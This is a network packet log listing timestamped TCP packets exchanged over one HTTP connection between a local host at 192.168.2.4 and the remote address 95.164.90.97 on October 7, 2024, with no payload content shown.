Oct 7, 2024 03:15:46.062051058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062058926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062061071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062077999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062087059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062094927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062102079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062113047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062120914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062130928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062139988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062148094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062155008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062166929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062169075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062186956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062206984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062211037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062227964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062243938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062249899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062264919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062273979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062277079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062293053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062321901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062338114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062345028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062361002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062376022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062388897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062391996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062396049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062410116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062417984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062449932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062505960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062520981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062530994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062536955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062544107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062553883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062566996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062571049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062573910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062588930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062598944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062608957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062612057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062627077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062637091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062645912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062658072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062663078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062665939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062681913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062690020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062701941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062711000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062730074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062736034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062746048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062762022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062779903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062787056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062808037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062813997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062828064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062844038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062860012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062869072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062877893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062884092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062907934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062915087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062937021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062952042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062968969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062977076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062985897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062995911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.063004017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.063004017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.063030958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.063049078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.063077927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.063095093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.063110113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.063118935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.063127041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.063143015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.063159943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.063160896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.063177109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.063177109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.063180923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.063188076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.063201904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.063201904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.063232899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.066199064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.147667885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147703886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147722006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147736073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147752047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147768021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147794008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147795916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.147809982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147833109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147835970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.147857904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147881985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147882938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.147897959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147912979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147917032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.147932053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147958040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.147958994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.147975922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148000002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148001909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148017883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148034096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148041964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148051023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148072004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148077011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148091078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148092031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148108006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148122072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148137093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148149014 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148154020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148169041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148189068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148195028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148210049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148226023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148226023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148258924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148267984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148284912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148288012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148302078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148318052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148327112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148334026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148350954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148355961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148381948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148396969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148403883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148413897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148416996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148431063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148453951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148469925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148473978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148483992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148499012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148514986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148534060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148555040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148570061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148576975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148597002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148612022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148618937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148618937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148632050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148642063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148648024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148668051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148670912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148694038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148737907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148741007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148746014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148761034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148767948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148792982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148797989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148809910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148827076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148828983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148843050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148858070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148859978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148875952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148878098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148902893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148910046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148921967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148938894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148945093 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.148967981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148983955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.148986101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149000883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149003029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149022102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149030924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149039030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149050951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149055958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149071932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149077892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149087906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149104118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149116993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149131060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149142981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149152994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149168968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149188995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149195910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149214029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149230003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149235964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149251938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149266005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149276018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149281979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149295092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149310112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149317980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149322987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149339914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149346113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149358988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149367094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149369955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149377108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149386883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149434090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149456978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149492025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149507999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149523973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149540901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149561882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149568081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149580956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149595976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149599075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149611950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149615049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149630070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149646044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149662971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149662971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149677992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149681091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149688959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149708986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149732113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149754047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149770021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149785995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149804115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149818897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149840117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149866104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149892092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149907112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149921894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149935961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149938107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149965048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149966002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149981976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.149993896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.149998903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.150015116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.150023937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.150032997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.150052071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.150067091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.234558105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234602928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234657049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234709024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234719992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.234725952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234756947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234766006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.234790087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.234795094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234812975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.234849930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.234850883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234868050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234894991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.234910965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.234922886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234939098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234956026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234971046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.234972954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.234987020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.234998941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235012054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235014915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235025883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235030890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235053062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235064030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235073090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235081911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235097885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235105038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235112906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235129118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235135078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235145092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235158920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235161066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235191107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235213995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235246897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235261917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235277891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235285997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235294104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235301971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235311031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235325098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235328913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235349894 CEST	80	49737	95.164.90.97	192.168.2.4
